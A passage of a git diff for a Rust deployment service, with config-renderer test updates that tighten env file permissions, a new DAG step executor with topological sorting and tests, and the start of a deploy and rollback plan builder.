         let mut app_configs: std::collections::HashMap<String, AppConfig> =
             std::collections::HashMap::new();
@@ -958,8 +1553,8 @@ mod tests {
             AppConfig {
                 content: "INFLUX_TOKEN=xxx".to_string(),
                 content_type: "env".to_string(),
-                destination_path: format!("/home/trydirect/{}/telegraf.env", deployment_hash),
-                file_mode: "0640".to_string(),
+                destination_path: remote_runtime_env_path().to_string(),
+                file_mode: "0600".to_string(),
                 owner: Some("trydirect".to_string()),
                 group: Some("docker".to_string()),
             },
@@ -970,8 +1565,8 @@ mod tests {
             AppConfig {
                 content: "DOMAIN=example.com".to_string(),
                 content_type: "env".to_string(),
-                destination_path: format!("/home/trydirect/{}/nginx.env", deployment_hash),
-                file_mode: "0640".to_string(),
+                destination_path: remote_runtime_env_path().to_string(),
+                file_mode: "0600".to_string(),
                 owner: Some("trydirect".to_string()),
                 group: Some("docker".to_string()),
             },
@@ -994,18 +1589,16 @@ mod tests {
 
     #[test]
     fn test_empty_image_rejected() {
-        use crate::models::project::Project;
         use crate::models::project_app::ProjectApp;
 
         let renderer = ConfigRenderer::new().unwrap();
-        let project = Project::default();
         let app = ProjectApp {
             code: "broken_app".to_string(),
             image: "".to_string(),
             ..ProjectApp::default()
         };
 
-        let result = renderer.project_app_to_context(&app, &project);
+        let result = renderer.project_app_to_context(&app, HashMap::new());
         assert!(result.is_err());
         let err_msg = result.unwrap_err().to_string();
         assert!(
@@ -1022,28 +1615,24 @@ mod tests {
 
     #[test]
     fn test_whitespace_only_image_rejected() {
-        use crate::models::project::Project;
         use crate::models::project_app::ProjectApp;
 
         let renderer = ConfigRenderer::new().unwrap();
-        let project = Project::default();
         let app = ProjectApp {
             code: "spacey".to_string(),
             image: "   ".to_string(),
             ..ProjectApp::default()
         };
 
-        let result = renderer.project_app_to_context(&app, &project);
+        let result = renderer.project_app_to_context(&app, HashMap::new());
         assert!(result.is_err());
     }
 
     #[test]
     fn test_valid_image_accepted() {
-        use crate::models::project::Project;
         use crate::models::project_app::ProjectApp;
 
         let renderer = ConfigRenderer::new().unwrap();
-        let project = Project::default();
         let app = ProjectApp {
             code: "nginx".to_string(),
             name: "Nginx".to_string(),
@@ -1051,7 +1640,7 @@ mod tests {
             ..ProjectApp::default()
         };
 
-        let result = renderer.project_app_to_context(&app, &project);
+        let result = renderer.project_app_to_context(&app, HashMap::new());
         assert!(result.is_ok());
         let ctx = result.unwrap();
         assert_eq!(ctx.image, "nginx:latest");
@@ -1113,4 +1702,77 @@ mod tests {
         let json = serde_json::to_value(&ctx).unwrap();
         assert!(json.get("runtime").is_none() || json["runtime"].is_null());
     }
+
+    #[test]
+    fn render_compose_references_relative_env_file() {
+        let renderer = ConfigRenderer::new().unwrap();
+        let project = Project {
+            name: "demo".to_string(),
+            ..Project::default()
+        };
+        let ctx = AppRenderContext {
+            code: "web".to_string(),
+            name: "web".to_string(),
+            image: "nginx:latest".to_string(),
+            environment: HashMap::new(),
+            ports: vec![],
+            volumes: vec![],
+            domain: None,
+            ssl_enabled: false,
+            networks: vec![],
+            depends_on: vec![],
+            restart_policy: "unless-stopped".to_string(),
+            resources: ResourceLimits::default(),
+            labels: HashMap::new(),
+            healthcheck: None,
+            runtime: None,
+        };
+
+        let compose = renderer.render_compose(&[ctx], &project).unwrap();
+
+        assert!(compose.contains("env_file:\n      - .env"));
+    }
+
+    #[test]
+    fn render_compose_includes_stacker_runtime_labels() {
+        let renderer = ConfigRenderer::new().unwrap();
+        let project = Project {
+            name: "demo".to_string(),
+            ..Project::default()
+        };
+        let mut labels = HashMap::new();
+        crate::helpers::stacker_labels::insert_runtime_labels(
+            &mut labels,
+            Some(42),
+            Some("cloud"),
+            crate::helpers::stacker_labels::SCOPE_PROJECT,
+            "web",
+            "web",
+        );
+        let ctx = AppRenderContext {
+            code: "web".to_string(),
+            name: "web".to_string(),
+            image: "nginx:latest".to_string(),
+            environment: HashMap::new(),
+            ports: vec![],
+            volumes: vec![],
+            domain: None,
+            ssl_enabled: false,
+            networks: vec![],
+            depends_on: vec![],
+            restart_policy: "unless-stopped".to_string(),
+            resources: ResourceLimits::default(),
+            labels,
+            healthcheck: None,
+            runtime: None,
+        };
+
+        let compose = renderer.render_compose(&[ctx], &project).unwrap();
+
+        assert!(compose.contains("my.stacker.project_id: \"42\""));
+        assert!(compose.contains("my.stacker.target: \"cloud\""));
+        assert!(compose.contains("my.stacker.scope: \"project\""));
+        assert!(compose.contains("my.stacker.service: \"web\""));
+        assert!(compose.contains("my.stacker.dns: \"web\""));
+    }
 }
diff --git a/src/services/dag_executor.rs b/src/services/dag_executor.rs
new file mode 100644
index 00000000..a64ef259
--- /dev/null
+++ b/src/services/dag_executor.rs
@@ -0,0 +1,523 @@
+use crate::db;
+use crate::models::dag::{DagEdge, DagStep, DagStepExecution};
+use crate::services::step_executor;
+use serde::{Deserialize, Serialize};
+use serde_json::Value as JsonValue;
+use sqlx::PgPool;
+use std::collections::{HashMap, HashSet, VecDeque};
+use uuid::Uuid;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// DAG Execution Result
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct DagExecutionResult {
+    pub execution_id: Uuid,
+    pub status: String,
+    pub total_steps: usize,
+    pub completed_steps: usize,
+    pub failed_steps: usize,
+    pub skipped_steps: usize,
+    pub execution_order: Vec<Uuid>,
+    pub step_results: Vec<StepResult>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct StepResult {
+    pub step_id: Uuid,
+    pub step_name: String,
+    pub step_type: String,
+    pub status: String,
+    pub output_data: Option<JsonValue>,
+    pub error: Option<String>,
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Topological Sort (Kahn's algorithm)
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Returns steps grouped by execution level (steps in same level can run in parallel).
+pub fn topological_sort(steps: &[DagStep], edges: &[DagEdge]) -> Result<Vec<Vec<Uuid>>, String> {
+    if steps.is_empty() {
+        return Err("DAG must have at least one step".to_string());
+    }
+
+    let step_ids: HashSet<Uuid> = steps.iter().map(|s| s.id).collect();
+
+    // Build adjacency list and in-degree map
+    let mut in_degree: HashMap<Uuid, usize> = step_ids.iter().map(|&id| (id, 0)).collect();
+    let mut adjacency: HashMap<Uuid, Vec<Uuid>> =
+        step_ids.iter().map(|&id| (id, Vec::new())).collect();
+
+    for edge in edges {
+        if step_ids.contains(&edge.from_step_id) && step_ids.contains(&edge.to_step_id) {
+            adjacency
+                .entry(edge.from_step_id)
+                .or_default()
+                .push(edge.to_step_id);
+            *in_degree.entry(edge.to_step_id).or_insert(0) += 1;
+        }
+    }
+
+    // Kahn's: start with nodes having in-degree 0
+    let mut queue: VecDeque<Uuid> = in_degree
+        .iter()
+        .filter(|(_, &deg)| deg == 0)
+        .map(|(&id, _)| id)
+        .collect();
+
+    let mut levels: Vec<Vec<Uuid>> = Vec::new();
+    let mut visited_count = 0;
+
+    while !queue.is_empty() {
+        let level: Vec<Uuid> = queue.drain(..).collect();
+        visited_count += level.len();
+
+        let mut next_queue = VecDeque::new();
+        for &node in &level {
+            if let Some(neighbors) = adjacency.get(&node) {
+                for &neighbor in neighbors {
+                    let deg = in_degree.get_mut(&neighbor).unwrap();
+                    *deg -= 1;
+                    if *deg == 0 {
+                        next_queue.push_back(neighbor);
+                    }
+                }
+            }
+        }
+
+        levels.push(level);
+        queue = next_queue;
+    }
+
+    if visited_count != step_ids.len() {
+        return Err("DAG contains a cycle".to_string());
+    }
+
+    Ok(levels)
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Step Executor (delegates to step_executor module)
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Execute a single step — delegates to the shared step_executor module.
+async fn execute_step(step: &DagStep, input: &JsonValue) -> Result<JsonValue, String> {
+    step_executor::execute_step(&step.step_type, &step.config, input).await
+}
+
+/// Evaluate a condition — delegates to the shared step_executor module.
+#[allow(dead_code)]
+fn evaluate_condition(config: &JsonValue, input: &JsonValue) -> bool {
+    step_executor::evaluate_condition(config, input)
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// DAG Validator
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+pub fn validate_dag(steps: &[DagStep], _edges: &[DagEdge]) -> Result<(), String> {
+    if steps.is_empty() {
+        return Err("DAG must have at least one step".to_string());
+    }
+
+    let source_types = [
+        "source",
+        "ws_source",
+        "http_stream_source",
+        "grpc_source",
+        "cdc_source",
+        "amqp_source",
+        "kafka_source",
+    ];
+    let target_types = ["target", "ws_target", "grpc_target"];
+
+    let has_source = steps
+        .iter()
+        .any(|s| source_types.contains(&s.step_type.as_str()));
+    if !has_source {
+        return Err("DAG must have at least one source step".to_string());
+    }
+
+    let has_target = steps
+        .iter()
+        .any(|s| target_types.contains(&s.step_type.as_str()));
+    if !has_target {
+        return Err("DAG must have at least one target step".to_string());
+    }
+
+    Ok(())
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// DAG Execution Orchestrator
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+pub async fn execute_dag(
+    pool: &PgPool,
+    template_id: &Uuid,
+    execution_id: Uuid,
+    _input_data: &JsonValue,
+) -> Result<DagExecutionResult, String> {
+    let steps = db::dag::list_steps(pool, template_id).await?;
+    let edges = db::dag::list_edges(pool, template_id).await?;
+
+    // Validate
+    validate_dag(&steps, &edges)?;
+
+    // Topological sort
+    let levels = topological_sort(&steps, &edges)?;
+
+    // Build lookup maps
+    let step_map: HashMap<Uuid, &DagStep> = steps.iter().map(|s| (s.id, s)).collect();
+
+    // Build reverse adjacency: for each step, which steps feed into it?
+    let mut incoming: HashMap<Uuid, Vec<Uuid>> = HashMap::new();
+    for edge in &edges {
+        incoming
+            .entry(edge.to_step_id)
+            .or_default()
+            .push(edge.from_step_id);
+    }
+
+    // Build edge condition map (from_step_id → condition) for condition-gated edges
+    let mut edge_conditions: HashMap<(Uuid, Uuid), Option<JsonValue>> = HashMap::new();
+    for edge in &edges {
+        edge_conditions.insert((edge.from_step_id, edge.to_step_id), edge.condition.clone());
+    }
+
+    // Create step execution records
+    let mut step_exec_ids: HashMap<Uuid, Uuid> = HashMap::new();
+    for step in &steps {
+        let exec = DagStepExecution::new(execution_id, step.id);
+        let saved = db::dag::insert_step_execution(pool, &exec).await?;
+        step_exec_ids.insert(step.id, saved.id);
+    }
+
+    // Track outputs and statuses
+    let mut step_outputs: HashMap<Uuid, JsonValue> = HashMap::new();
+    let mut step_statuses: HashMap<Uuid, String> = HashMap::new();
+    let mut skipped_steps: HashSet<Uuid> = HashSet::new();
+    let mut execution_order: Vec<Uuid> = Vec::new();
+    let mut step_results: Vec<StepResult> = Vec::new();
+
+    // Execute level by level
+    for level in &levels {
+        for &step_id in level {
+            let step = step_map[&step_id];
+            execution_order.push(step_id);
+
+            // Check if any upstream step failed or was skipped
+            let upstream_ids = incoming.get(&step_id).cloned().unwrap_or_default();
+            let should_skip = upstream_ids.iter().any(|&up_id| {
+                skipped_steps.contains(&up_id)
+                    || step_statuses.get(&up_id).map_or(false, |s| s == "failed")
+            });
+
+            if should_skip {
+                skipped_steps.insert(step_id);
+                step_statuses.insert(step_id, "skipped".to_string());
+
+                let exec_id = step_exec_ids[&step_id];
+                db::dag::update_step_execution(pool, &exec_id, "skipped", None, None).await?;
+
+                step_results.push(StepResult {
+                    step_id,
+                    step_name: step.name.clone(),
+                    step_type: step.step_type.clone(),
+                    status: "skipped".to_string(),
+                    output_data: None,
+                    error: Some("Upstream step failed or was skipped".to_string()),
+                });
+                continue;
+            }
+
+            // Mark as running
+            let exec_id = step_exec_ids[&step_id];
+            db::dag::update_step_execution(pool, &exec_id, "running", None, None).await?;
+
+            // Aggregate input from upstream steps
+            let input = if upstream_ids.is_empty() {
+                serde_json::json!({})
+            } else if upstream_ids.len() == 1 {
+                step_outputs
+                    .get(&upstream_ids[0])
+                    .cloned()
+                    .unwrap_or(serde_json::json!({}))
+            } else {
+                // Merge multiple upstream outputs
+                let mut merged = serde_json::Map::new();
+                for &up_id in &upstream_ids {
+                    if let Some(out) = step_outputs.get(&up_id) {
+                        if let Some(obj) = out.as_object() {
+                            for (k, v) in obj {
+                                merged.insert(k.clone(), v.clone());
+                            }
+                        }
+                    }
+                }
+                JsonValue::Object(merged)
+            };
+
+            // Execute the step
+            match execute_step(step, &input).await {
+                Ok(output) => {
+                    // For condition steps, check if condition passed
+                    if step.step_type == "condition" {
+                        let condition_met = output
+                            .get("condition_met")
+                            .and_then(|v| v.as_bool())
+                            .unwrap_or(true);
+
+                        if !condition_met {
+                            // Mark this step as completed but flag downstream for skipping
+                            skipped_steps.insert(step_id);
+                            step_statuses.insert(step_id, "completed".to_string());
+                            step_outputs.insert(step_id, output.clone());
+
+                            db::dag::update_step_execution(
+                                pool,
+                                &exec_id,
+                                "completed",
+                                Some(&output),
+                                None,
+                            )
+                            .await?;
+
+                            step_results.push(StepResult {
+                                step_id,
+                                step_name: step.name.clone(),
+                                step_type: step.step_type.clone(),
+                                status: "completed".to_string(),
+                                output_data: Some(output),
+                                error: None,
+                            });
+                            continue;
+                        }
+                    }
+
+                    step_statuses.insert(step_id, "completed".to_string());
+                    step_outputs.insert(step_id, output.clone());
+
+                    db::dag::update_step_execution(
+                        pool,
+                        &exec_id,
+                        "completed",
+                        Some(&output),
+                        None,
+                    )
+                    .await?;
+
+                    step_results.push(StepResult {
+                        step_id,
+                        step_name: step.name.clone(),
+                        step_type: step.step_type.clone(),
+                        status: "completed".to_string(),
+                        output_data: Some(output),
+                        error: None,
+                    });
+                }
+                Err(err) => {
+                    step_statuses.insert(step_id, "failed".to_string());
+
+                    db::dag::update_step_execution(pool, &exec_id, "failed", None, Some(&err))
+                        .await?;
+
+                    step_results.push(StepResult {
+                        step_id,
+                        step_name: step.name.clone(),
+                        step_type: step.step_type.clone(),
+                        status: "failed".to_string(),
+                        output_data: None,
+                        error: Some(err),
+                    });
+                }
+            }
+        }
+    }
+
+    // Compute final counts
+    let completed_count = step_statuses.values().filter(|s| *s == "completed").count();
+    let failed_count = step_statuses.values().filter(|s| *s == "failed").count();
+    let skipped_count = step_statuses.values().filter(|s| *s == "skipped").count();
+
+    let overall_status = if failed_count > 0 {
+        "partial_failure".to_string()
+    } else if skipped_count > 0 && completed_count > 0 {
+        "completed".to_string()
+    } else {
+        "completed".to_string()
+    };
+
+    Ok(DagExecutionResult {
+        execution_id,
+        status: overall_status,
+        total_steps: steps.len(),
+        completed_steps: completed_count,
+        failed_steps: failed_count,
+        skipped_steps: skipped_count,
+        execution_order,
+        step_results,
+    })
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{topological_sort, validate_dag};
+    use crate::models::dag::{DagEdge, DagStep};
+    use serde_json::json;
+    use uuid::Uuid;
+
+    fn step(step_type: &str) -> DagStep {
+        DagStep::new(
+            Uuid::new_v4(),
+            format!("{step_type}-node"),
+            step_type.to_string(),
+            json!({}),
+        )
+    }
+
+    fn edge(from: &DagStep, to: &DagStep) -> DagEdge {
+        DagEdge::new(from.pipe_template_id, from.id, to.id)
+    }
+
+    // ── topological_sort ──────────────────────────────────────────────
+
+    #[test]
+    fn topological_sort_rejects_empty_dag() {
+        let err = topological_sort(&[], &[]).unwrap_err();
+        assert!(err.contains("at least one step"), "{err}");
+    }
+
+    #[test]
+    fn topological_sort_orders_linear_chain() {
+        // a -> b -> c : three sequential levels of one node each.
+        let a = step("source");
+        let b = step("transform");
+        let c = step("target");
+        let steps = vec![a.clone(), b.clone(), c.clone()];
+        let edges = vec![edge(&a, &b), edge(&b, &c)];
+
+        let levels = topological_sort(&steps, &edges).expect("valid DAG");
+
+        assert_eq!(levels.len(), 3, "linear chain must produce three levels");
+        assert_eq!(levels[0], vec![a.id]);
+        assert_eq!(levels[1], vec![b.id]);
+        assert_eq!(levels[2], vec![c.id]);
+    }
+
+    #[test]
+    fn topological_sort_groups_parallel_steps_in_same_level() {
+        // a -> b, a -> c : b and c are independent and share level 1.
+        let a = step("source");
+        let b = step("transform");
+        let c = step("transform");
+        let steps = vec![a.clone(), b.clone(), c.clone()];
+        let edges = vec![edge(&a, &b), edge(&a, &c)];
+
+        let levels = topological_sort(&steps, &edges).expect("valid DAG");
+
+        assert_eq!(levels.len(), 2, "should collapse to two levels");
+        assert_eq!(levels[0], vec![a.id]);
+        let mut parallel = levels[1].clone();
+        parallel.sort();
+        let mut expected = vec![b.id, c.id];
+        expected.sort();
+        assert_eq!(
+            parallel, expected,
+            "b and c must run in parallel at level 1"
+        );
+    }
+
+    #[test]
+    fn topological_sort_detects_cycle() {
+        // a -> b -> a : no node ever reaches in-degree 0 fully → cycle.
+        let a = step("source");
+        let b = step("target");
+        let steps = vec![a.clone(), b.clone()];
+        let edges = vec![edge(&a, &b), edge(&b, &a)];
+
+        let err = topological_sort(&steps, &edges).unwrap_err();
+        assert!(err.contains("cycle"), "cycle must be reported: {err}");
+    }
+
+    #[test]
+    fn topological_sort_detects_self_loop() {
+        let a = step("source");
+        let steps = vec![a.clone()];
+        let edges = vec![edge(&a, &a)];
+
+        let err = topological_sort(&steps, &edges).unwrap_err();
+        assert!(err.contains("cycle"), "self-loop is a cycle: {err}");
+    }
+
+    #[test]
+    fn topological_sort_ignores_edges_to_unknown_steps() {
+        // An edge referencing a step id that isn't in `steps` must be skipped,
+        // not counted as a dependency (otherwise a valid DAG would appear cyclic
+        // or leave a node permanently blocked).
+        let a = step("source");
+        let b = step("target");
+        let dangling = step("transform"); // not included in steps
+        let steps = vec![a.clone(), b.clone()];
+        let edges = vec![edge(&a, &b), edge(&dangling, &b)];
+
+        let levels = topological_sort(&steps, &edges).expect("dangling edge should be ignored");
+        assert_eq!(levels.len(), 2);
+        assert_eq!(levels[0], vec![a.id]);
+        assert_eq!(levels[1], vec![b.id]);
+    }
+
+    #[test]
+    fn topological_sort_handles_disconnected_nodes_in_first_level() {
+        // Two independent nodes with no edges both start at level 0.
+        let a = step("source");
+        let b = step("target");
+        let steps = vec![a.clone(), b.clone()];
+
+        let levels = topological_sort(&steps, &[]).expect("no edges is valid");
+        assert_eq!(levels.len(), 1, "all roots share the first level");
+        let mut first = levels[0].clone();
+        first.sort();
+        let mut expected = vec![a.id, b.id];
+        expected.sort();
+        assert_eq!(first, expected);
+    }
+
+    // ── validate_dag ──────────────────────────────────────────────────
+
+    #[test]
+    fn validate_dag_rejects_empty() {
+        let err = validate_dag(&[], &[]).unwrap_err();
+        assert!(err.contains("at least one step"), "{err}");
+    }
+
+    #[test]
+    fn validate_dag_requires_a_source() {
+        // transform + target but no source.
+        let steps = vec![step("transform"), step("target")];
+        let err = validate_dag(&steps, &[]).unwrap_err();
+        assert!(err.contains("source step"), "{err}");
+    }
+
+    #[test]
+    fn validate_dag_requires_a_target() {
+        let steps = vec![step("source"), step("transform")];
+        let err = validate_dag(&steps, &[]).unwrap_err();
+        assert!(err.contains("target step"), "{err}");
+    }
+
+    #[test]
+    fn validate_dag_accepts_source_and_target() {
+        let steps = vec![step("source"), step("target")];
+        assert!(validate_dag(&steps, &[]).is_ok());
+    }
+
+    #[test]
+    fn validate_dag_accepts_alternate_source_and_target_types() {
+        // ws_source / grpc_target are in the recognised source/target sets.
+        let steps = vec![step("ws_source"), step("grpc_target")];
+        assert!(validate_dag(&steps, &[]).is_ok());
+    }
+}
diff --git a/src/services/deploy_plan.rs b/src/services/deploy_plan.rs
new file mode 100644
index 00000000..cb8db220
--- /dev/null
+++ b/src/services/deploy_plan.rs
@@ -0,0 +1,600 @@
+use serde::{Deserialize, Serialize};
+use sha2::{Digest, Sha256};
+use sqlx::PgPool;
+
+use crate::{
+    db,
+    models::Deployment,
+    services::{
+        DeploymentAppState, DeploymentState, TypedErrorCode, TypedErrorEnvelope,
+        TypedRemediationClass,
+    },
+};
+
+pub const DEPLOY_PLAN_SCHEMA_VERSION: &str = "v1alpha1";
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "snake_case")]
+pub enum DeployPlanOperation {
+    Deploy,
+    DeployApp,
+    RollbackDeploy,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "snake_case")]
+pub enum DeployPlanActionKind {
+    ReconcileRuntimeEnv,
+    RedeployApp,
+    RollbackDeploy,
+    SyncAppConfig,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct DeployPlanRollback {
+    pub requested_target: String,
+    pub current_version: String,
+    pub resolved_version: String,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct RollbackPlanContext {
+    pub requested_target: String,
+    pub current_version: String,
+    pub resolved_version: String,
+}
+
+pub async fn resolve_rollback_plan_context(
+    pg_pool: &PgPool,
+    deployment: &Deployment,
+    requested_target: &str,
+) -> Result<RollbackPlanContext, TypedErrorEnvelope> {
+    let project = db::project::fetch(pg_pool, deployment.project_id)
+        .await
+        .map_err(|_| TypedErrorEnvelope::internal_error("Failed to load rollback project"))?
+        .ok_or_else(|| {
+            TypedErrorEnvelope::deployment_not_found("Project not found for deployment")
+        })?;
+
+    let template_id = project.source_template_id.ok_or_else(|| {
+        TypedErrorEnvelope::new(
+            TypedErrorCode::RollbackTargetUnavailable,
+            "Rollback is only available for marketplace deployments with an older template version",
+            false,
+            TypedRemediationClass::State,
+        )
+        .with_context("rollbackTarget", requested_target)
+    })?;
+
+    let versions = db::marketplace::list_versions_by_template(pg_pool, template_id)
+        .await
+        .map_err(|_| TypedErrorEnvelope::internal_error("Failed to load rollback versions"))?;
+
+    let current = if let Some(current_version) = project.template_version.as_deref() {
+        versions
+            .iter()
+            .find(|version| version.version == current_version)
+    } else {
+        versions
+            .iter()
+            .find(|version| version.is_latest.unwrap_or(false))
+    }
+    .ok_or_else(|| {
+        TypedErrorEnvelope::new(
+            TypedErrorCode::RollbackTargetUnavailable,
+            "Rollback target could not be resolved from the current deployment state",
+            false,
+            TypedRemediationClass::State,
+        )
+        .with_context("rollbackTarget", requested_target)
+    })?;
+
+    let resolved_version = if requested_target == "previous" {
+        let current_index = versions
+            .iter()
+            .position(|version| version.version == current.version)
+            .ok_or_else(|| {
+                TypedErrorEnvelope::new(
+                    TypedErrorCode::RollbackTargetUnavailable,
+                    "Current template version is not present in the rollback history",
+                    false,
+                    TypedRemediationClass::State,
+                )
+                .with_context("rollbackTarget", requested_target)
+                .with_context("currentVersion", current.version.clone())
+            })?;
+
+        versions
+            .get(current_index + 1)
+            .map(|version| version.version.clone())
+            .ok_or_else(|| {
+                TypedErrorEnvelope::new(
+                    TypedErrorCode::RollbackTargetUnavailable,
+                    "No older marketplace template version is available for rollback",
+                    false,
+                    TypedRemediationClass::State,
+                )
+                .with_context("rollbackTarget", requested_target)
+                .with_context("currentVersion", current.version.clone())
+            })?
+    } else {
+        versions
+            .iter()
+            .find(|version| version.version == requested_target)
+            .map(|version| version.version.clone())
+            .ok_or_else(|| {
+                TypedErrorEnvelope::new(
+                    TypedErrorCode::RollbackTargetUnavailable,
+                    format!(
+                        "Marketplace template version '{}' is not available for rollback",
+                        requested_target
+                    ),
+                    false,
+                    TypedRemediationClass::State,
+                )
+                .with_context("rollbackTarget", requested_target)
+            })?
+    };
+
+    Ok(RollbackPlanContext {
+        requested_target: requested_target.to_string(),
+        current_version: current.version.clone(),
+        resolved_version,
+    })
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct DeployPlanScope {
+    pub mode: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub app_code: Option<String>,
+    pub selected_apps: Vec<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct DeployPlanAction {
+    pub kind: DeployPlanActionKind,
+    pub target: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub app_code: Option<String>,
+    pub reason: String,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct DeployPlan {
+    pub schema_version: String,
+    pub deployment_hash: String,
+    pub operation: DeployPlanOperation,
+    pub target: String,
+    pub fingerprint: String,
+    pub scope: DeployPlanScope,
+    pub has_changes: bool,
+    pub actions: Vec<DeployPlanAction>,
+    pub reasoning: Vec<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub rollback: Option<DeployPlanRollback>,
+}
+
+pub fn build_deploy_plan(
+    state: &DeploymentState,
+    operation: DeployPlanOperation,
+    target: &str,
+    requested_app: Option<&str>,
+    expected_fingerprint: Option<&str>,
+) -> Result<DeployPlan, TypedErrorEnvelope> {
+    let selected_apps = select_apps(state, requested_app)?;
+    let fingerprint = plan_fingerprint(state, target, &operation, &selected_apps);
+
+    if let Some(expected) = expected_fingerprint.filter(|value| !value.is_empty()) {
+        if expected != fingerprint {
+            return Err(TypedErrorEnvelope::new(
+                TypedErrorCode::PlanStale,
+                "Plan input is stale; regenerate the plan before apply",
+                false,
+                TypedRemediationClass::State,
+            )
+            .with_context("expectedFingerprint", expected)
+            .with_context("actualFingerprint", fingerprint.clone())
+            .with_context("deploymentHash", state.deployment.deployment_hash.clone()));
+        }
+    }
+
+    let mut actions = Vec::new();
+    let mut reasoning = Vec::new();
+
+    if state.drift.has_drift {
+        actions.push(DeployPlanAction {
+            kind: DeployPlanActionKind::ReconcileRuntimeEnv,
+            target: "deployment".to_string(),
+            app_code: None,
+            reason: "runtime env drift detected".to_string(),
+        });
+        reasoning
+            .push("deployment drift requires runtime env reconciliation before apply".to_string());
+    }
+
+    for app in &selected_apps {
+        if app.config_version > app.vault_sync_version {
+            actions.push(DeployPlanAction {
+                kind: DeployPlanActionKind::SyncAppConfig,
+                target: "app".to_string(),
+                app_code: Some(app.code.clone()),
+                reason: "app config version is ahead of the synced Vault/runtime version"
+                    .to_string(),
+            });
+        }
+    }
+
+    if matches!(operation, DeployPlanOperation::DeployApp) {
+        let app = selected_apps.first().ok_or_else(|| {
+            TypedErrorEnvelope::invalid_request("deploy-app plan requires a selected app")
+        })?;
+        actions.insert(
+            0,
+            DeployPlanAction {
+                kind: DeployPlanActionKind::RedeployApp,
+                target: "app".to_string(),
+                app_code: Some(app.code.clone()),
+                reason: "explicit deploy-app plan targets a single app".to_string(),
+            },
+        );
+        reasoning.push("deploy-app scope is restricted to the requested app".to_string());
+    } else if actions.is_empty() {
+        reasoning.push("no drift detected for the selected scope".to_string());
+        reasoning.push(
+            "all selected apps are already synced with their current config versions".to_string(),
+        );
+    } else if selected_apps
+        .iter()
+        .any(|app| app.config_version > app.vault_sync_version)
+    {
+        reasoning.push("at least one selected app has unsynced config changes".to_string());
+    }
+
+    Ok(DeployPlan {
+        schema_version: DEPLOY_PLAN_SCHEMA_VERSION.to_string(),
+        deployment_hash: state.deployment.deployment_hash.clone(),
+        operation,
+        target: target.to_string(),
+        fingerprint,
+        scope: DeployPlanScope {
+            mode: if requested_app.is_some() {
+                "app".to_string()
+            } else {
+                "deployment".to_string()
+            },
+            app_code: requested_app.map(ToOwned::to_owned),
+            selected_apps: selected_apps.iter().map(|app| app.code.clone()).collect(),
+        },
+        has_changes: !actions.is_empty(),
+        actions,
+        reasoning,
+        rollback: None,
+    })
+}
+
+pub fn build_rollback_plan(
+    state: &DeploymentState,
+    target: &str,
+    rollback: RollbackPlanContext,
+    expected_fingerprint: Option<&str>,
+) -> Result<DeployPlan, TypedErrorEnvelope> {
+    let selected_apps = select_apps(state, None)?;
+    let fingerprint = rollback_fingerprint(state, target, &rollback);
+
+    if let Some(expected) = expected_fingerprint.filter(|value| !value.is_empty()) {
+        if expected != fingerprint {
+            return Err(TypedErrorEnvelope::new(
+                TypedErrorCode::PlanStale,
+                "Plan input is stale; regenerate the plan before apply",
+                false,
+                TypedRemediationClass::State,
+            )
+            .with_context("expectedFingerprint", expected)
+            .with_context("actualFingerprint", fingerprint.clone())
+            .with_context("deploymentHash", state.deployment.deployment_hash.clone()));
+        }
+    }
+
+    let has_changes = rollback.current_version != rollback.resolved_version;
+    let mut reasoning = vec![
+        format!(
+            "rollback preview resolved requested target '{}' to template version {}",
+            rollback.requested_target, rollback.resolved_version
+        ),
+        format!(
+            "current deployment template version is {}",
+            rollback.current_version
+        ),
+    ];
+
+    let actions = if has_changes {
+        vec![DeployPlanAction {
+            kind: DeployPlanActionKind::RollbackDeploy,
+            target: "deployment".to_string(),
+            app_code: None,
+            reason: format!(
+                "rollback preview targets marketplace template version {}",
+                rollback.resolved_version
+            ),
+        }]
+    } else {
+        reasoning.push("deployment is already on the requested rollback target".to_string());
+        Vec::new()
+    };
+
+    Ok(DeployPlan {
+        schema_version: DEPLOY_PLAN_SCHEMA_VERSION.to_string(),
+        deployment_hash: state.deployment.deployment_hash.clone(),
+        operation: DeployPlanOperation::RollbackDeploy,
+        target: target.to_string(),
+        fingerprint,
+        scope: DeployPlanScope {
+            mode: "deployment".to_string(),
+            app_code: None,
